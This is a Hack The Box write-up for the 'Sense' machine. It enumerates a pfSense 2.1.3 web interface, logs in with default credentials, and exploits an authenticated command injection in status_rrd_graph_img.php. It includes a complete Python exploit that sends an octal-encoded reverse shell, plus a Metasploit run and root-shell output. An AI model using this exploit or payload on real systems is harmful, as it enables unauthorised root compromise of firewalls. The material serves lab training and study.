Sense: Authenticated RCE on pfSense - Hack The Box
Table of Contents
Initial Reconnaissance – Port Scanning
To begin the assessment of the Sense machine, I conducted a basic TCP port scan using nmap
with default scripts (-sC
), service version detection (-sV
), and host discovery disabled (-Pn
). The target IP was 10.10.10.60
.
[kali@machine01 ~/htb/sense]$ nmap -sC -sV -Pn 10.10.10.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 22:08 EDT
Nmap scan report for 10.10.10.60
Host is up (0.14s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/http lighttpd 1.4.35
|_http-title: Login
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
The scan revealed two open ports: HTTP on port 80 and HTTPS on port 443, both served by lighttpd 1.4.35
. The HTTP service forces a redirect to HTTPS, where a login page is accessible.
Web Enumeration
Navigating to the web application over HTTPS (port 443) revealed a login interface branded with pfSense, a well-known open-source firewall and router distribution:
Recognizing the pfSense environment, an initial authentication attempt was made using the default credentials commonly associated with pfSense installations:
- Username:
admin
- Password:
pfsense
However, the login was unsuccessful, indicating that either the default credentials had been changed or additional access restrictions were in place. This suggested the need for deeper enumeration and potential alternative attack vectors.
Directory and File Enumeration
To extend the reconnaissance, a content discovery scan was performed against the web server using ffuf
. The scan targeted common directories and .txt
files, leveraging the medium-sized wordlist from SecLists:
ffuf -u https://10.10.10.60/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .txt -ic
The scan returned several interesting endpoints:
themes [Status: 301]
css [Status: 301]
includes [Status: 301]
javascript [Status: 301]
changelog.txt [Status: 200]
classes [Status: 301]
widgets [Status: 301]
tree [Status: 301]
shortcuts [Status: 301]
installer [Status: 301]
wizards [Status: 301]
csrf [Status: 301]
system-users.txt [Status: 200]
filebrowser [Status: 301]
%7Echeckout%7E [Status: 403]
Among the discovered files, two plaintext files stood out due to their potentially sensitive contents: changelog.txt
and system-users.txt
.
changelog.txt
$ curl https://10.10.10.60/changelog.txt -k
# Security Changelog
### Issue
There was a failure in updating the firewall. Manual patching is therefore required
### Mitigated
2 of 3 vulnerabilities have been patched.
### Timeline
The remaining patches will be installed during the next maintenance window
This changelog suggests that the system may be vulnerable due to incomplete patching, which is valuable information when considering known exploits against specific pfSense versions.
system-users.txt
$ curl https://10.10.10.60/system-users.txt -k
####Support ticket###
Please create the following user
username: Rohit
password: company defaults
This file revealed a user named Rohit
and hinted at the use of a default password, likely referring to the default pfSense credentials. This finding introduced a promising attack vector via credential-based authentication attempts.
Authenticating into pfSense
Based on the previously discovered username Rohit
, an authentication attempt was made using the lowercase version of the username (rohit
) and the default pfSense password: pfsense
.
- Authentication Request
POST /index.php HTTP/1.1
Host: 10.10.10.60
Referer: https://10.10.10.60/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Connection: keep-alive
__csrf_magic=sid:2e5b5055a018b556bff51767102a316b9bbbf75e,1751473405;ip:aa75b932f72c8173dc7b044c002960034a3e5177,1751473405&usernamefld=rohit&passwordfld=pfsense&login=Login
- Server Response
HTTP/1.1 302 Found
Expires: Fri, 04 Jul 2025 18:23:40 GMT
Expires: 0
Cache-Control: max-age=180000
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Set-Cookie: PHPSESSID=ad8f07e935475faa5160948010fda3b2; path=/
Last-Modified: Wed, 02 Jul 2025 16:23:40 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Location: /
Content-type: text/html
Content-Length: 0
Date: Wed, 02 Jul 2025 16:23:40 GMT
Server: lighttpd/1.4.35
The HTTP 302 Found
response with a Location: /
header, along with the presence of a valid session cookie (PHPSESSID
), confirmed a successful login.
Once authenticated, the pfSense dashboard revealed version information under the System Information section:
2.1.3-RELEASE (amd64)
built on Thu May 01 15:52:13 EDT 2014
FreeBSD 8.3-RELEASE-p16
This version of pfSense is significantly outdated and known to contain several publicly disclosed vulnerabilities, making it a strong candidate for privilege escalation or remote code execution in the next phase.
Exploiting pfSense – Authenticated Command Injection via status_rrd_graph_img.php
While exploring the authenticated web interface of pfSense 2.1.3, a known vulnerability was identified in the status_rrd_graph_img.php
endpoint. This page is used to render RRD traffic graphs and is accessible to non-administrative users with graph/status viewing privileges.
Vulnerability Overview
The vulnerability is a command injection in the graph
GET parameter. Although pfSense attempts to sanitize the input using a regular expression filter, it fails to properly filter out certain metacharacters — specifically, the pipe (|
) operator is not blacklisted. This allows an attacker to append system commands to the expected input.
To bypass basic input filtering, the injected command can be encoded using octal representations. This is particularly useful for crafting multi-line payloads or injecting characters that may otherwise be blocked.
Manual exploitation
After identifying the vulnerability and confirming that the target was running pfSense 2.1.3, I reviewed the technical details disclosed in the following resources:
Although a public exploit was available, it required adaptation to properly handle modern Python 3 syntax and bypass TLS certificate verification when interacting with pfSense’s web interface. For a better understanding and control over the attack chain, I developed a customized Python 3 exploit, tailored for testing in a lab environment.
Functional Python 3 Exploit
The script performs the following steps:
- Authenticates to the pfSense web interface using valid credentials.
- Extracts the CSRF token required for authenticated requests.
- Crafts a payload using octal-encoded characters to bypass input filtering.
- Sends a command injection payload via the vulnerable
status_rrd_graph_img.php
endpoint. - Executes a reverse shell connecting back to the attacker.
#!/usr/bin/env python3
import argparse
import requests
import urllib.parse
import urllib3
import collections
import sys
# Disable warnings about unverified HTTPS requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def encode_payload(command):
return ''.join(['\\' + oct(ord(c)).lstrip('0o') for c in command])
def get_csrf_token(html):
try:
index = html.index("csrfMagicToken")
token = html[index:index+128].split('"')[-1]
return token
except ValueError:
return None
def main():
parser = argparse.ArgumentParser(description="pfSense <= 2.1.3 RCE Exploit via status_rrd_graph_img.php")
parser.add_argument("--rhost", required=True, help="Remote target host (pfSense)")
parser.add_argument("--lhost", required=True, help="Local host IP (listener)")
parser.add_argument("--lport", required=True, help="Local port (listener)")
parser.add_argument("--username", required=True, help="pfSense username")
parser.add_argument("--password", required=True, help="pfSense password")
parser.add_argument("--proxy", help="Optional proxy (e.g., http://127.0.0.1:8080)")
args = parser.parse_args()
rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password
proxy = args.proxy
proxies = {"http": proxy, "https": proxy} if proxy else {}
# Reverse shell Python one-liner
command = f"""
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{lhost}",{lport}));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
"""
payload = encode_payload(command)
login_url = f'https://{rhost}/index.php'
exploit_url = f"https://{rhost}/status_rrd_graph_img.php?database=queues;printf+'{payload}'|sh"
headers = collections.OrderedDict([
('User-Agent', 'Mozilla/5.0'),
('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
('Accept-Language', 'en-US,en;q=0.5'),
('Referer', login_url),
('Connection', 'close'),
('Upgrade-Insecure-Requests', '1'),
('Content-Type', 'application/x-www-form-urlencoded')
])
session = requests.Session()
# Step 1 – Get CSRF token
try:
response = session.get(login_url, headers=headers, verify=False, proxies=proxies)
csrf_token = get_csrf_token(response.text)
except Exception as e:
print(f"[-] Failed to connect to {rhost}: {e}")
sys.exit(1)
if not csrf_token:
print("[-] CSRF token not found.")
sys.exit(1)
print("[+] CSRF token obtained.")
# Step 2 – Login
login_data = collections.OrderedDict([
('__csrf_magic', csrf_token),
('usernamefld', username),
('passwordfld', password),
('login', 'Login')
])
encoded_data = urllib.parse.urlencode(login_data)
try:
login_request = session.post(login_url, data=encoded_data, headers=headers, cookies=session.cookies, verify=False, proxies=proxies)
except Exception as e:
print(f"[-] Login request failed: {e}")
sys.exit(1)
if login_request.status_code == 200:
print("[+] Logged in successfully.")
print("[*] Running exploit...")
try:
exploit_request = session.get(exploit_url, headers=headers, cookies=session.cookies, verify=False, proxies=proxies, timeout=5)
if exploit_request.status_code:
print("[!] Exploit request sent. Check your listener.")
except requests.exceptions.ReadTimeout:
print("[+] Exploit completed (connection timeout expected).")
except Exception as e:
print(f"[-] Exploit failed: {e}")
sys.exit(1)
else:
print("[-] Login failed.")
if __name__ == "__main__":
main()
Exploit Execution
The exploit was run using the following command, with traffic routed through Burp Suite for inspection:
[kali@machine01 ~/htb/sense/exploit-py]$ python3 my.py \
--rhost 10.10.10.60 \
--lhost 10.10.10.1 \
--lport 4444 \
--username rohit \
--password pfsense \
--proxy http://127.0.0.1:8080
[+] CSRF token obtained.
[+] Logged in successfully.
[*] Running exploit...
[+] Exploit completed
Reverse Shell Access
A listener was started using netcat
to catch the incoming shell:
[kali@machine01 ~/htb/sense/exploit-py]$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.10.1] from (UNKNOWN) [10.10.10.60] 47630
sh: can't access tty; job control turned off
#
Upon successful connection, we obtained a root shell on the target system, confirming that the web application was executing commands in the context of the root user.
Exploitation via Metasploit
As an alternative to manual exploitation, the vulnerability was also successfully exploited using the Metasploit Framework, which includes a working module for this exact issue.
Module Overview
The Metasploit module that targets this vulnerability is:
exploit/unix/http/pfsense_graph_injection_exec
This module exploits a command injection vulnerability in the graph
parameter of the /status_rrd_graph_img.php
endpoint, which is available to authenticated users. It injects an octal-encoded reverse shell payload, bypassing input filtering in the backend.
Exploit Configuration
The module was configured in msfconsole
as follows:
msf6 > use exploit/unix/http/pfsense_graph_injection_exec
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set RHOSTS 10.10.10.60
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set USERNAME rohit
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set PASSWORD pfsense
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 10.10.10.1
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set LPORT 4444
msf6 exploit(unix/http/pfsense_graph_injection_exec) > run
Successful Exploitation
Upon execution, the module successfully logged in, injected the payload, and established a reverse shell:
[*] Started reverse TCP handler on 10.10.10.1:4444
[*] Attempting to login...
[*] Authenticated successfully
[*] Sending payload...
[*] Command Stager progress - 100.00% done
[*] Command shell session 1 opened (10.10.10.1:4444 -> 10.10.10.60:46482) at 2025-06-30 23:05:12 -0300
A root shell was obtained immediately:
id
uid=0(root) gid=0(wheel) groups=0(wheel)
This confirms that the vulnerable service executes injected commands with root privileges, making this exploit highly effective for gaining full control of the system.
Flag Collection
With a root shell obtained on the target machine, the final step was to locate and extract the user and root flags. On Hack The Box systems, these flags are typically located in the home directory of the user and in the /root
directory, respectively.
User Flag
The system had a single user directory under /home
:`
# ls /home
rohit
Inspecting the contents of that user’s home directory revealed the user flag:
# cat /home/rohit/user.txt
[REDACTED]
Root Flag
Since the reverse shell was already running with root privileges, accessing the root flag was straightforward:
# cat /root/root.txt
[REDACTED]
Both flags were successfully retrieved, confirming full compromise of the target system.
Conclusion
The Sense machine from Hack The Box presented a realistic scenario involving misconfigurations in a widely used firewall distribution: pfSense 2.1.3. Through a combination of web enumeration, credential discovery, and authenticated exploitation, full system compromise was achieved.
Key takeaways from this engagement include:
- Proper handling of user-supplied input is critical, especially in diagnostic tools that interface with the operating system.
- Sensitive information—such as default credentials or internal documentation—should never be exposed through accessible paths.
- Even non-admin accounts can pose a significant risk if backend logic fails to enforce proper command restrictions.
Both manual exploitation (through crafted octal-encoded payloads) and automated methods (via Metasploit) proved effective, ultimately yielding root-level access and both user and root flags.
References
-
Exploit-DB 43560 – pfSense ≤ 2.1.3 Command Injection
Original advisory and proof of concept for the status_rrd_graph_img.php vulnerability. -
Exploit-DB 39709 – Authenticated RCE in pfSense via RRD Graph Injection
Detailed explanation of the vulnerability and payload encoding techniques using octal representation. -
Metasploit Module –
exploit/unix/http/pfsense_graph_injection_exec
Official Metasploit module used to automate exploitation of pfSense RRD Graph command injection. -
pfSense 2.1.3 Release Notes
Provides context for the software version, release date, and known vulnerabilities.